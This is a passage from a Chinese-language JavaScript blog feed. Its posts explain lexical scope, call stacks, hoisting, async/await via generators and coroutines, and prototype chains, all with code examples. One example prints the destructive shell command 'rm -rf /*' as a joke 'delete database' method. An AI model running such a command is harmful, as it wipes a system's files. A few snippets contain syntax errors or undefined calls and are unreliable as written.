当进入函数内部的作用域块的时候，作用域块中通过 let 声明的变量，会被存放在词法环境中的一块单独的区域中，这个区域的变量不影响作用域块外面的变量。比如你在个内部作用域块声明用 let 声明变量 b 的时候，是不会影响到外部作用域声明的变量 b 的，他们虽然变量名相同，但是是独立的存在。

接着执行 console.log(a)，如何查找这个变量呢，实际上就是根据作用域链，首先需要从词法环境和变量环境中找，具体查找方式是沿着词法环境的栈顶向下查询，如果在词法环境中的某个块找到了，就直接返回给 JavaScript 引擎，如果没找到，就去变量环境中继续查找。

image-20210807144526129.png

当内部作用域块执行完毕之后，内部用 let 定义的变量就会从词法环境的栈顶弹出，最后执行上下文如下

image-20210807145257788.png

执行外部代码，console.log(b)的时候自然还是从词法环境开始找，

在词法环境内部，维护了一个小型栈结构，栈底是函数最外层的 let 或 const 声明变量，进入一个作用域块后，就会把该作用域块内部的 let 或 const 声明变量压到栈顶；当作用域执行完成之后，该作用域的信息就会从栈顶弹出。（这也是为什么内部作用域的 console.log(b)输出的是内部定义的 b=3 的值，而块外的 console.log(b)输出的则是外部定义的 b=2，因为 b=3 是先压到栈顶，当执行到外部的 console.log(b)的时候 b=3 已经被弹出了，此时栈顶就是 b=2 了。）

一道题

1
let myname = "极客时间";
2
{
3
  console.log(myname);
4
  let myname = "极客邦";
5
}

结果 Uncaught ReferenceError: Cannot access ‘myname’ before initialization。变量没被初始化

原因是const 和 let 存在暂时性死区，var 声明变量的时候回将变量创建和初始化为 undefined，所以当你在 var 声明的变量前 console.log()这个变量就是 undefined。但是 let 和 const 和 var 有所不同，块级作用域的用 let 声明的变量是当代码执行到当前块内才放入词法环境的，变量被放到词法环境中的时候是未被初始化(赋值)的存在暂时性死区，因此当你执行 console.log(变量)(访问该变量)的时候会报错。

结论：v8 虚拟机会禁止你访问 let 和 const 声明变量之前调用变量的行为

为什么 JavaScript 会栈溢出

Tue, 26 Oct 2021 00:00:00 GMT

先回答问题：造成栈溢出的原因就是调用栈中的执行上下文堆叠过多没有返回。

哪些情况下代码才算是“一段”代码，才会在执行之前就进行编译并创建执行上下文。

当 JavaScript 执行全局代码的时候会编译全局代码并创建全局执行上下文，整个页面生命周期里，全局执行上下文只有一个。
当调用一个函数的时候，函数内部的代码会被编译，并创建函数执行上下文，一般情况下，函数执行结束后，创建的函数执行上下文会被销毁。
当使用 eval 函数的时候，eval 的代码也会被编译，并创建执行上下文。

什么是调用栈？#

调用栈就是用来管理函数调用关系的一种数据结构。那什么是函数调用，什么是栈结构。

什么是函数调用？#

就是给你声明的函数名后面跟一对小括号。看以下代码

1
var a = 1;
2
function add() {
3
  var b = 2;
4
  return a + b;
5
}
6
add();

创建了一个 add 函数，然后随后调用了 add 函数

分析一下流程

首先 JavaScript 执行全局代码的时候会编译全局代码并创建全局执行上下文(过程中变量提升了 a=undefined，然后将函数也提升了，并存放在全局执行上下文中的变量环境中)

image-20210806223208919.png

然后开始执行可执行代码(就两句a=1和add())，执行到 add()的时候，JavaScript 判断这是一个函数调用，所以执行以下操作

首先从全局执行上下文中的变量环境中拿出 add 函数代码。
然后对 add 函数的这段代码进行编译，创建该函数的执行上下文和可执行代码。

image-20210806224120177.png

然后执行可执行代码，输出结果。

我们发现此时已经有两个执行上下文了，一个是全局执行上下文，一个是 add 函数的执行上下文。在 JavaScript 的执行过程中，会存在多个执行上下文，那这些执行上下文 JavaScript 引擎是如何管理的呢？

是通过一个叫栈的数据结构来管理的。

什么是栈#

一种数据结构，栈中元素满足后进先出

image-20210806231836364.png

类比一下就像下面这么一串铜钱，你只能从一端加钱或者取钱

image-20210806232208927.png

什么是 JavaScript 的调用栈，JavaScript 就是用栈这种结构来管理执行上下文的，当执行上下文创建好以后，JavaScript 引擎会将执行上下文压入栈中，通常把这种管理执行上下文的栈叫执行上下文栈也叫调用栈。

来看一段稍微复杂点的代码

1
var a = 2;
2
function add(b, c) {
3
  return b + c;
4
}
5
function addAll(b, c) {
6
  var d = 10;
7
  result = add(b, c);
8
  return a + result + d;
9
}
10
addAll(3, 6);

第一步，创建全局上下文，并将其压入栈底。

image-20210806232614295.png

可以看到全局上下文的变量环境包括变量 a 和函数 add 以及函数 addAll。然后开始执行全局可执行代码a=2和addAll(3,6)。

首先执行a=2的赋值操作，执行该语句会将全局上下文环境中 a 的值设置为 2。

image-20210806235350196.png

接下来调用 addAll 函数。当调用该函数的时候，JavaScript 引擎会编译该函数，并为其创建一个执行上下文，最后还将该函数的执行上下文压入栈中。

image-20210807000832968.png

addAll 函数的执行上下文创建好之后，就进入函数代码执行阶段了，这里执行了 d=10 的赋值操作，此时会让 addAll 的变量环境中的 d=undefined 变成 d=10,然后执行到 result=add(b,c)的时候，也就是执行到 add 函数的调用语句，从而为 add 函数创建执行上下文，并压入了调用栈。如下图

image-20210807003511952.png

当 add 函数返回的时候，该函数的执行上下文就会从栈顶弹出，并将 addAll 函数执行上下文中变量环境的 result 的值设置为 add 函数的返回值，也就是 9。

image-20210807003802418.png

然后 addAll 执行相加操作并返回，addAll 的执行上下文也会从栈顶部弹出，此时调用栈就只剩全局上下文了。

image-20210807003935602.png

此时流程结束了。

结论：调用栈是 JavaScript 引擎追踪函数执行的一个机制，当一次有多个函数被调用时，通过调用栈就能够追踪到哪个函数正在被执行以及各函数之间的调用关系。

开发中如何查看调用栈#

可以输入一段代码，然后在你需要知道调用关系的函数声明里塞一句console.trace()

image-20210807005121991.png

什么是栈溢出#

调用栈是有大小的，当入栈的执行上下文超过一定数目，JavaScript 引擎就会报错，这种错误就叫做栈溢出。

比如写一个一直没有边界一直自己调用自己的递归函数

1
function cl() {
2
  console.log(cl());
3
}
4
console.log(cl());

导致报错，可以看报错信息，意思就是超过了最大栈调用大小。

image-20210807005500840.png

之前那个案例每个函数去调用另一个函数的时候执行可执行代码最后都会返回，那如果没返回一直在自调用是什么概念，那就是一直不停的往调用栈里塞新创建的函数执行上下文，但是栈是有容量限制的，因此最后就会导致栈溢出的错误。

可以用一些方法来避免栈溢出问题，比如把递归调用改成别的形式，或是用定时器的方法来将当前的任务拆分成其他很多小任务。

因为 setTimeout 是浏览器的 API，每次运行 setTimeout 的时候会先调用浏览器的 API，当倒计时到的时候回调函数就会加到任务队列中，然后当调用栈，例如

1
function runStack(n) {
2
  if (n === 0) return 100;
3
  return setTimeout(function () {
4
    runStack(n - 2);
5
  }, 0);
6
}
7
runStack(50000);

JavaScript 变量提升

Sat, 23 Oct 2021 00:00:00 GMT

为什么需要了解执行上下文？

理解了 JavaScript 执行上下文，才能更好的理解 JavaScript 语言本身，比如变量提升，作用域和闭包等。

先来看段代码测试一下吧

1
show();
2
console.log(Name);
3
var Name = "AN";
4
function show() {
5
  console.log("我出现了");
6
}

大家都知道 JavaScript 是解释型的语言，就是说应当是一行行顺序执行的，那是不是应该是

show()的时候，因为 show()还没定义，直接报错
console.log(Name)，Name 也没定义，报错

实际的结果是什么呢

image-20210630212728979.png

可以看到虽然 show()之前并未定义 show()函数，可却正确的执行出来了。这个地方我们可以得出一个结论<就是说执行前函数直接被移到调用函数的前面去了>。这叫变量提升。

console.log(Name)结果并不是 AN，而是 undefined。这是怎么回事呢？难道说是只要 console.log(变量)就会自动给分配个 undefined 吗？试着不声明直接随便 console.log 一个变量试试

1
console.log(Anyone);

image-20210630212304757.png

由此可以看出，声明变量是不能缺的。我们又知道var Name = 'AN'是可以拆分成var Name（声明)和Name = 'AN'(赋值)的，

image-20210630214225720.png

而在 JavaScript 中仅声明未赋值的变量默认的值就是 undefined，自然可以想到，当 console.log(Name)在前的时候起作用的仅仅只有var Name这部分，可以简化为以下代码验证一下

1
console.log(Name);
2
var Name;

image-20210630212657114.png

可以看到和上面是一样的结果。也意味着，JS 在执行的时候仅仅只是提前了声明但是而并没有赋值。这样我们就可以得出一条结论：JavaScript 在执行过程中会将变量的声明var Name提前，这个概念也叫做变量提升。

变量提升#

还是刚才的案例

1
show();
2
console.log(Name);
3
var Name = "AN";
4
function show() {
5
  console.log("我出现了");
6
}

模拟一下变量提升的情况

1
//变量提升部分
2
var Name;
3
function show() {
4
  console.log("我出现了");
5
}
6

7
//执行部分
8
show();
9
console.log(Name);

实际上这就是为什么可以在定义之前使用变量或者函数的原因，因为函数和变量在执行之前都提升到了代码的开头。这就叫变量提升。那这个执行之前到底是啥意思？啥就叫执行之前？

那就得提提JavaScript 代码的执行流程了。

一段JavaScript代码>>编译阶段>>执行阶段 一段代码在被执行之前需要被 JavaScript 引擎编译，编译之后才进入执行阶段。可以看出这里的执行之前就是编译阶段。

编译阶段都做了啥事呢，经过编译阶段后，会生成两个部分：执行上下文和可执行代码，执行上下文是 JavaScript 执行一段代码时的运行环境，包括变量环境和词法环境。

image-20210630223553880.png

1
show();
2
console.log(Name);
3
var Name = "AN";
4
function show() {
5
  console.log("我出现了");
6
}

上面的Name和show函数都保存在变量环境(Viriable Eviroment)这个对象中。变量环境的样子可以简单理解为

1
VariableEnvironment:
2
     Name -> undefined,
3
     show ->function : {console.log('我出现了')}

如果调用一个函数，就会进入这个函数的执行上下文，确定函数在执行期间的 this，变量，对象，函数等。

编译过程中对这段代码都干了什么？

第 1 行和第 2 行不涉及声明，所以 JS 引擎不处理
第 3 行是用var声明了变量 Name，因此 JavaScript 引擎会在变量环境中创建一个名为 Name 的属性，并且用 undefined 对其进行初始化
第 4 行，JavaScript 引擎发现了一个 function 定义的函数，会将函数定义存储到堆(HEAP）中去，并且在变量环境中创建一个 show 属性，这个属性指向堆中函数的位置。

这样就生成了变量环境对象，接着 JavaScript 引擎会把声明外的代码编译成字节码对应就是可执行代码

1
show();
2
console.log(Name);
3
Name = "AN";

执行阶段#

得到了可执行代码之后，就按照顺序一行行执行

执行 show 函数的时候，JavaScript 引擎在变量环境对象中查找这个函数，因为变量环境对象里存着这个函数的引用，因此 JavaScript 执行直接就出结果了。”我出现了”
打印 Name 信息，JavaScript 引擎在变量环境对象中查找改对象，并且此时值为 undefined，输出 undefined
执行第三行，把"AN"赋给 Name 变量，赋值后的 Name 变量属性值变为了”AN”，变量环境对象如下

1
VariableEnvironment:
2
     Name -> "AN",
3
     showName ->function : {console.log("我出现了")}

如果代码中出现重名的变量或者函数怎么办

1
function show() {
2
  console.log("我出现了");
3
}
4
show();
5
function show() {
6
  console.log("出现了但是没完全出现，哎，就是玩儿");
7
}
8
show();

在编译阶段，执行上下文阶段，先存入了第一个 show，存入第二个的时候会把第一个覆盖掉。执行阶段，然后两个 show()出来的结果就是

image-20210630232902812.png

以上就是 JavaScript 执行顺序的简单总结了。

async/await

Thu, 05 Aug 2021 00:00:00 GMT

为了解决异步操作对于代码的可读性，避免回调地狱(很多个异步回调嵌套的请况)，JavaScript社区先后退出Promise+then和generator+co的解决方案，直到现在的async/await，也叫异步编程的终极解决方案，可以在不阻塞主线程的情况下用同步代码的写代码方式实现异步访问资源的能力，而且代码逻辑更清晰。

async/await的使用到的就是Generator和Promise两个技术。Promise可以看看八段代码彻底掌握 Promise，这里只写生成器概念。

生成器(Generator)和协程#

生成器函数相关概念#

function*声明的函数就是生成器函数，在生成器函数内部执行代码过程中，要是遇到yield关键字，JavaScript引擎会返回关键字后面的内容给外部，并暂停该函数的执行。
可以通过函数名.next()方法恢复函数继续向下执行并会返回一个对象，有value和done两个属性，value是yeild后面的值，done的值是布尔值，代表生成器是否执行完毕，执行完毕就是true。

引例

1
function* genDemo() {
2
    console.log("开始执行第一段")
3
    yield 'generator 1'
4

5
    console.log("开始执行第二段")
6
    yield 'generator 2'
7

8
    console.log("开始执行第三段")
9
    yield 'generator 3'
10

11
    console.log("执行结束")
12
    return 'generator over'
13
}
14

15
console.log('main 1')
16
let gen = genDemo()
17
console.log(gen.next().value)
18
console.log('main 2')
19
console.log(gen.next().value)
20
console.log('main 3')
21
console.log(gen.next().value)
22
console.log('main 4')
23
console.log(gen.next().value)
24
console.log('main 5')

展开收起

执行结果

image-20210803212944644

可以看到是一段段执行的，全局代码和生成器内部代码交替执行，这就是执行器的特点，可以暂停函数的执行，也可以恢复执行。

协程#

协程是一个比线程更加轻量的存在，是跑在线程上的任务，一个线程上存在多个协程，但是在线程上同时只能执行一个协程，若此时A协程正在执行，需要启动B协程，那么A协程就需要把主线程的控制权给B协程，此时A协程就暂停执行，B协程恢复执行，同理，也可以从B协程中启动A协程，如果从A协程中启动B协程，就把A协程称为B协程的父协程。

一个进程可以有多个线程，一个线程也可以有多个进程，协程不是被操作系统控制的，而是程序操控，好处就是性能可以提升很多，不会像线程切换那样消耗资源。

再来分析一下上面那段代码：

首先let gen = genDemo()，这个时候并没有执行，实际上是创建了gen协程
然后执行gen.next()，当执行gen.next()的时候协程会继续执行，此时协程拿到主线程执行权开始执行
执行到协程中的yeild关键字的时候，协程停止执行，返回yeild ‘msg’ 中的 msg信息，并交出主线程执行权
当协程gen在执行期间碰到return的时候，JavaScript引擎会结束当前的协程，并把return后面的内容返回给父协程(创建他的协程)

image-20210709100716144

把代码看成是一个还未播放的音乐，gen.next()和yeild相当于是播放和暂停键，return相当于关闭当前设备的播放器。

首先是电脑(父协程)连接了蓝牙音箱开始播放(执行代码)，到了let gen = genDemo()，就类似于你通过电脑把蓝牙音箱又连了一个手机(实际就是父协程创建了一个子协程)，蓝牙音箱发声(主线程)只能有一个，播放的声音相当于是主线程此时执行的代码，然后当电脑音乐播放到gen.next()(主线程执行gen.next())的时候，电脑(父协程)这边停止播放，手机(gen协程)继续播放，当手机(gen协程)播放到yeild的时候就停止手机播放，然后如果电脑还有没放完的音乐那么继续播放电脑的音乐，如果正播放手机，执行到了return，相当于断开手机和音箱的蓝牙连接了，此时只有电脑还连着音箱，如果电脑音乐还没结束就继续放电脑的音乐了。

有两个问题：

第一个，就是gen协程和父协程是在主线程上交替进行执行的，切换是通过yield和gen.next来配合完成，就像蓝牙音箱连接两个设备你没法让他们同时发声。

第二个，就是为什么gen协程可以被暂停又接着刚才执行完的代码继续执行？这是因为gen协程和父协程都是有自己独立的调用栈的，当gen协程执行到yeild的时候，JavaScript引擎会保存gen协程当前的调用栈信息，就好比你播放音乐点了暂停，下次播放还是从你暂停的地方开始放。当gen.next()的时候，JavaScript引擎会暂停父协程的执行并保存父协程的调用栈然后执行gen协程代码，就是说电脑(父协程)的播放器停了，继续播放手机(gen协程)的音乐，此时音箱播放(主线程执行)的就是gen协程的音乐(代码)。

结合生成器函数和Promise#

结合一下这两个东西。

用fetch进行演示，fetch函数用网络请求获取资源，并且会返回一个promise对象(fetch只要不是网络故障或请求被拒绝就不会返回reject，即使响应的Http状态码是404或500 promise状态还会是fullfilled)。例如在掘金页面https://juejin.cn/下调用控制台输入测试一下

1
fetch('https://juejin.cn/').then(function(){
2
    console.log('success')
3
})

案例

1
function* foo(){
2
  let response1 = yield fetch('https://juejin.cn/')
3
  console.log('response111')
4
  let response2 = yield fetch('https://www.Anblog.top')
5
  console.log('response222')
6
}
7
//创建gen协程
8
let gen = foo()
9
//获取返回的promise对象
10
function getGenPromise(gen){
11
  return gen.next().value
12
}
13
//通过判断promise对象的状态，传入promise对象中的属性PromiseResult为response的内容输出出来
14
getGenPromise(gen).then((response)=>{
15
  console.log('response1')
16
  console.log(response)
17
  return getGenPromise(gen)
18
}).then((response)=>{
19
  console.log('response2')
20
  console.log(response)
21
})

展开收起

步骤：

创建生成器foo函数。
let gen = foo() 创建gen协程
创建getGenPromise(gen)函数，目的是执行并gen.next().value的执行结果，也就是将主线程的执行权移交gen协程的函数
getGenPromise(gen)返回promise对象，然后执行执行gen协程上的fetch函数，then里传入fetch函数返回的promise对象中的response，第一个then函数执行并返回getGenPromise(gen)的结果给下一个then的response参数，然后再执行。

一般情况下会把执行生成器的代码封装成一个函数，并叫这个执行生成器的函数为执行器，上面就是生成器和Promise相互配合的一个流程。不过通常我们会把执行生成器的部分封装成一个函数。

采用co框架后代码会更精简，co函数可以代替上面的执行生成器的代码，co函数也可以叫做执行器。

1
const co = require("co");
2
const fetch=require("node-fetch")
3
function* foo(){
4
    let response1 = yield fetch('https://juejin.cn/')
5
    console.log('response111')
6
    let response2 = yield fetch('https://www.Anblog.top')
7
    console.log('response222')
8
}
9
co(foo());

这样虽然不错了，但是还有更终极的方案就是async/await

async/await#

根据MDN的定义，async是一个通过异步执行并隐式返回Promise作为结果的函数。异步执行和隐式返回Promise怎么理解。

隐式返回<可以看到async标记的函数执行后最终返回的是一个promise对象>。

1
async function foo(){
2
  return 2
3
}
4
console.log(foo()) //Promise {<fulfilled>: 2}
5
foo().then((val)=>{console.log(val))} //2

对应Promise的写法

1
function foo(){
2
  return new Promise((resolve)=>{
3
    resolve(1)
4
  })
5
}
6
console.log(foo()) //Promise {<fulfilled>: 1}
7
foo().then((val)=>{console.log(val)}) //1

await，async函数返回的是一个Promise对象，结合下面代码体会一下await是什么

1
async function foo() {
2
    console.log(1)
3
    let a = await 100
4
    console.log(a)
5
    console.log(2)
6
}
7
console.log(0)
8
foo()
9
console.log(3)

结果是: 0 - 1 - 3 - 100 - 2

结合一下之前说的协程的概念, 此时外部环境就是父协程, 而foo就是子协程

首先执行了console.log(0)
然后父协程将线程执行权交给了foo协程, 由于foo 函数被async标记过, JavaScript 引擎会保存当前的调用栈等(相当于有个独立的调用栈)信息， foo协程执行了 console.log(1), 此时遇到了await 100, 此时foo协程创建了一个promise
```
1
let promise_ = new Promise((resolve,reject)=>{
2
  resolve(100)
3
})
```
可以看到在 executor 函数中调用了 resolve 函数，JavaScript 引擎会将该任务提交给微任务队列.

然后JS引擎会暂停当前foo协程的执行, 将主线程的控制权交给父协程执行, 同时将这个新建的promise_对象返回给父协程 , 此时父协程还有一件事, 就是用promise_.then中的回调函数来监控promise_状态的改变
此时父协程就接着执行console.log(3), 并且打印出来3 , 随后父协程即将执行结束, 在结束前, 就会检查是否有微任务, 开始执行微任务队列, 微任务队列中有一个resolve(100)的任务等待执行, Promise_执行之后的触发promise_.then 中的回调函数
```
1
promise_.then((value)=>{
2
   //回调函数被激活后将主线程控制权交给foo协程，并将vaule值传给协程
3
})
```
该回调函数被激活以后，会将主线程的控制权交给 foo 函数的协程，并同时将 value 值传给该协程。foo 协程拿到主线程执行权后，会把得到的 value 值赋给了变量 a，然后 foo 协程继续执行后续语句console.log(2)，执行完成之后，将控制权归还给父协程。

这么看来await就是promise.then

总结一下: await之后的行为实际上就是让子协程创建了一个promise.resolve(), 然后返回给了父协程微任务队列, 当父协程要执行微任务队列的时候, 触发promise_.then的回调函数, 然后在回调函数中将执行权和返回值都交给子协程 .

1
let p1 = new Promise((resolve)=>{
2
  resolve(1)
3
})
4
let p2 = new Promise((resolve)=>{
5
    resolve(2)
6
})
7
async function fun(){
8
  let a = await foo()
9
  let b = await bar()
10
  console.log(a)
11
  console.log(b)
12
}
13
fun()

async 返回一个promise对象

1
async function fun(){
2
  return 1
3
}
4
let f = fun()
5
console.log(f)
6
fun().then((data)=>{
7
  console.log(data)
8
})

image-20210715170230898

async和await

1
let a1 = new Promise(resolve){
2
  resolve(1)
3
}
4
let a2 = new Promise(resolve){
5
  resolve(2)
6
}
7
async function fun(){
8
  let a = await p1;
9
  let b = await p2;
10
  console.log(a)
11
  console.log(b)
12
}
13
fun()

可以看出来这样的代码把异步代码写成了同步的感觉

1
async function fun1(){
2
  let data = await fun2()
3
  console.log(data)
4
}
5
async function fun2(){
6
  console.log(200)
7
  return 100
8
}
9
//200
10
//100

在async函数中 await后执行的相当于then后的函数

题

1
console.log(1)
2
async function async1(){
3
  await async2()
4
  console.log(2)
5
}
6
async function async2(){
7
  console.log(3)
8
}
9
async1()
10
setTimeout(function(){
11
  console.log(4)
12
},0)
13
new Promise(resolve => {
14
  console.log(5)
15
  resolve()
16
}).then(function(){
17
  console.log(6)
18
}).then(function(){
19
  console.log(7)
20
})
21
console.log(8)

展开收起

同步任务：1、3、5、8 微任务：2、6、7 宏任务：4 1 3 5 8 2 6 7 4

1.同步 2.微任务 promise.then process.nextTick 3.宏任务 setTimeout Ajax 读取文件 setImmediate

JavaScript原型链

Sun, 01 Aug 2021 00:00:00 GMT

引例#

从一个构造函数和实例的角度来看原型链关系

1
function Person(){
2
  this.name = 'anymous'
3
}
4
P = new Person();
5
console.log(P.name) //anymous

Person是构造函数，p是Person实例化出来的对象，Person.prototype是实例的原型对象

原型对象(Person.prototype)的属性constructor指向原构造函数
构造函数(Person)的属性prototype指向实例原型对象
构造函数的实例(p)的__proto__指向实例原型对象
Person实例化出来的对象P，同时P的constructor属性会指向Person

简单来说画个图就是这么个关系

image-20210713102828536

1
//证明上面的图
2
console.log(P.constructor == Person) //true
3
console.log(Person.prototype)
4
console.log(Person.prototype.constructor == Person) //true
5
console.log(P.__proto__ == Person.prototype) //true

到这估计你可能有点懵，这些概念都是什么玩意？

我给这部分想了个故事：Person当做父母，P是娃，Person.prototype是老师。娃刚一生(娃先拥有了父母的属性方法)，然后父母就给娃找老师教本事，父母能通过prototype找到老师(哪个老师教的娃)，老师也能通过constructor找到父母(知道这谁生的娃)，娃能通过__proto__找到老师，同时娃也能通过constructor来找到父母，并且由于跟着老师学本事，通过__proto__可以获得老师的学识，比如当有人问这个娃一个问题的时候，娃就去老师那里去问，老师如果不会就去老师的老师那里去问(就像一条链条一样)。当然此处娃(实例)可能不止一个，但是老师(实例原型对象)和父母(构造函数)是唯一的。

image-20210802193838375

这里定义几个故事的设定：

当徒弟获取一个知识。徒弟首先看看自己知道不，如果自己不知道那就去问师父，如果师父不会就会去问师父的师父，只要这条师徒线上有人会，徒弟就能了解到这个东西。当然，如果中途换了师父，那就只能找换后的师徒线去获取了

师徒线：徒-师父-师父的师父-师父的师父的师父-…

证明
```
1
console.log(P.name) //徒弟本身就有的属性，不需要问师父
```
师父，也就是Person.prototype是构造函数一创建跟着创建好的对象，我们可以给师父添加一个技能
```
1
Person.prototype.skill = "精通JavaScript的拼写"
```
看看徒弟(娃/P实例)能不能获取到
```
1
console.log(P.skill) //精通JavaScript的拼写
```
可以看到徒弟是可以从师父那获取到属性的。这就是JavaScript实现继承的方式。

还有一种情况，如何给娃改变老师，娃可以直接改变自己的__proto__指向
```
1
//改变P实例的__proto__指向
2
P.__proto__ = {
3
  teacher:'新老师'
4
}
5
console.log(P.teacher) //新老师
```
有人可能会想，那让父母直接给所有实例都替换新的老师不行吗，也就是改变Person构造函数的prototype，让这个属性指向一个新的对象
```
1
//Person构造函数的prototype
2
Person.prototype = {
3
  teacher:'新老师'
4
}
5
console.log(P.teacher) //undefined
6
console.log(P.__proto__ == Person.prototype) //false
7
P2 = new Person()
8
console.log(P2.teacher) //新老师
```
可以看到，虽然Person构造函数改变了prototype指向，但是之前声明的对象P依然不能使用Person.prototype的属性teacher，通过验证我们知道P的__proto__指向的并不是更换后的Person.prototype，而是之前那个Person.prototype。

结论是什么呢，就是说Person构造函数一创建，JS就会创建Person.prototype属性，当Person构造函数创建实例对象的时候，JS引擎就会把实例对象(P)的__proto__属性指向当前的Person.prototype，后期若是要改变Person.prototype，之前创建的实例依然指向的是之前的Person.prototype，也就是说只能改变之后创建的实例。

按故事来讲就是娃长大了，以后自己找的老师父母也就干预不了了，若是父母给娃换老师也只能是给之后的娃换。

有一点需要注意，__proto__是隐藏属性，不能在生产环境中用，会很耗费性能。
师父可以通过constructor找到徒弟的父母，徒弟也可以通过constructor找到自己的父母

证明
```
1
P.constructor == Person.prototype.constructor //true
```
当然，还是一样，如果哪个娃自己换了师父，那他的师父的constructor不会指向徒弟的父母，这也很好理解，毕竟本身就不是父母找下的嘛。
```
1
newTeacher = {
2
  teacher:'新老师'
3
}
4
P.__proto__ = newTeacher
5
console.log(newTeacher == Person.prototype) // false
```

上面这个三角仅仅是原型链的一个角落，还有很多不知道的，比如上面说了师徒链，但并不完全，那Person.prototype的师父是谁呢？又是谁创建的呢？更新一下图。

image-20210712114203178

可以看到Person.prototype是Object创建的，这个很好理解，因为他是一个对象嘛。

1
var obj = new Object()
2
console.log(obj.__proto__ == Person.prototype.__proto__) //true

可以看到Person.prototype和Object创建出来的obj的__proto__指向是一样的，因为他们都是Object的娃。

结果相当于什么呢，就是Object是Person.prototype的父母，而Object.prototype就是Object给Person.prototype找的老师。

同时我们注意到Object创建了Person.prototype，但是Person.prototype的constructor并不是指向Object，而是原构造函数，这算是一种设定吧，但是感觉不是很符合直觉。也就是说如果是实例，constructor会指向实例的构造函数，如果是实例的原型对象，那constructor还是会指向原实例的构造函数，这个属性相当于是定好的。哪怕Person改变prototype的指向到一个新的对象，之前创建好的实例的原型对象的contructor依然指向Person构造函数。

只要创建了一个新函数，就会根据一组特定的规则为该函数(Person)创建一个prototype属性，这个属性指向函数的原型对象(Person.prototype)。在默认情况下，所有原型对象都会自动获得一个constructor（构造函数）属性，这个属性包含一个指向prototype属性所在函数的指针。引用自《JavaScript高级程序设计》

更新一下师徒链：P实例 >> Person.prototype >> Object.prototype

Object.prototype是谁呢，他还有师父吗？再更新一下图

image-20210712115033405

更新一下师徒链：P实例 >> Person.prototype >> Object.prototype>> null

可以看到Object.prototype的师父是null，你可以这么理解，Object.prototype已经是祖师爷级别的人了，他的一身本事都是从无到有的过程，所以他的师父就是空，也就是null。

null表示没有对象，你可以理解这里的意思为Object.prototype就没有实例原型对象

Person和Object同样都是构造函数，但也是实例对象，他们是由谁创建的呢？他们的实例原型对象又是谁？再次更新图。下面是最终图

image-20210718174103107

可以看到构造函数(Person,Object包括Function自己)的constructor都指向了Function，我们可以知道是Function创建了这些构造函数，由此也就可以推出Function相当于是Person,Object的父母，就是说Person和Object就会指向Function给他们找的老师Function.prototype。

这里有几点需要注意。

Function很特别，他的constructor指向自己，__proto__也和其他构造函数一样是指向Function.prototype，Function就相当于祖先，祖先的老师就是自己找的(因为没人创建Function)，也合理。
唯一一点不太符合思维的就是虽然Object和Person的实例原型对象都是Function.prototype，但是由于Function.prototype依然是Object创建的，所以Function.prototype的师父(.__proto__)依然还是Object.prototype。

小结#

原型链实际上就是一个继承的链条，就相当于我上面所说的师徒链，可以简单理解为由__proto__组成的链条

image-20210718182627268

通过这条链条下游的对象访问一些属性的时候若自身没有，就会去上游寻找是否有这个属性，上游有这个属性下游就能获取到。

例子：拓展属性和方法#

比如说普通用户User和管理员Admin，普通用户有用户名和密码和可以登录，管理员除了普通用户的功能，还有一个删库能力。

1
function User(name,password){
2
  this.name = name;
3
  this.password = password;
4
  this.login = function(){
5
    console.log(this.name+"登录成功")
6
  }
7
}
8
function Admin(name,password){
9
  this.name = name;
10
  this.password = password;
11
  this.deleteDatabase = function(){
12
    console.log("rm -rf /*")
13
  }
14
}

Admin可以使用自己原型上的属性和方法，User的实例上包含User的所有属性和方法，将Admin.prototype指向一个new User()(也就是User的实例对象)。过程就是先是将Admin的prototype属性指向了User的实例对象，然后Admin实例化一个对象admin，此时admin有了Admin上的属性和方法，同时会被__proto__属性连接到User的实例对象上，也就同时可以使用Admin上的属性方法和User实例上的属性方法。

1
Admin.prototype = new User()
2
let admin = new Admin('an',123456)
3
admin.login() //an登录成功
4
admin.deleteDatabase() //rm -rf /*

总结：#

1.所有的构造函数都是Function创建的，比如示例里的Person也包括Object，因此构造函数和Object的原型都是Function.prototype

2.构造函数创建了对应的实例对象，Object(也是构造函数)创建了所有的原型对象，所有构造函数的实例对象的原型指向构造函数.prototype。

我总结出来一个规律，A创造了B，那么B.__proto__==A.prototype

1.比如Function创建了Person和Object，那结论就是

1
function Person(){
2
  this.name="Anonymous"
3
}
4
console.log(Person.__proto__ == Function.prototype)//true
5
console.log(Object.__proto__ == Function.prototype)//true

2.构造函数创建了实例对象，Object则是创建了实例的原型对象，结论是

1
function Person(){
2
  name:"Anonymous"
3
}
4
P = new Person()
5
console.log(P.__proto__ == Person.prototype) //true
6
console.log(Person.prototype.__proto__== Object.prototype)//true
7
console.log(Function.prototype.__proto__== Object.prototype)//true

有一个问题，Object.prototype也应该是一个原型对象吧，那Object.prototype.__proto__是不是也指向Object.prototype？虽然Object.prototype的确也是原型对象，但是这是一个例外，Object.prototype.__proto__指向的是null，应该是JS出于设计上的考虑。

1
console.log(Object.prototype.__proto__==Object.prototype)//false
2
console.log(Object.prototype.__proto__==null)//true

应用场景#

为什么判断对象类型可以使用 Object.prototype.toString() 来判断对象数据类型呢

1
Object.prototype.toString({})       // "[object Object]"
2
Object.prototype.toString.call({})  // 同上结果，加上call也ok
3
Object.prototype.toString.call(1)    // "[object Number]"
4
Object.prototype.toString.call('1')  // "[object String]"
5
Object.prototype.toString.call(true)  // "[object Boolean]"
6
Object.prototype.toString.call(function(){})  // "[object Function]"
7
Object.prototype.toString.call(null)   //"[object Null]"
8
Object.prototype.toString.call(undefined) //"[object Undefined]"
9
Object.prototype.toString.call(/123/g)    //"[object RegExp]"
10
Object.prototype.toString.call(new Date()) //"[object Date]"
11
Object.prototype.toString.call([])       //"[object Array]"
12
Object.prototype.toString.call(document)  //"[object HTMLDocument]"
13
Object.prototype.toString.call(window)   //"[object Window]"

上面是使用的方法，那可以不可以直接对象调用toString呢

1
'1'.toString() //"1"
2
Object.prototype.toString.call('1')  // "[object String]"

可以看到这样的结果是不同的，这是什么原因呢？就是字符串对象重写了Object.prototype上的toString方法，因此直接调用的是重写后的方法，有很多Object实例对象都重写了Object的实例原型对象的toString方法，只有用Object.prototype.toString.call(<对象>)才能返回对应的类型。

辅助证明一下

1
var arr=[1,2,3];
2
console.log(Array.prototype.hasOwnProperty("toString"));//true
3
console.log(arr.toString());//1,2,3
4
console.log(Object.prototype.toString.call(arr)) //"[object Array]")
5
delete Array.prototype.toString;//delete操作符可以删除实例属性
6
console.log(Array.prototype.hasOwnProperty("toString"));//false
7
console.log(arr.toString());//"[object Array]"

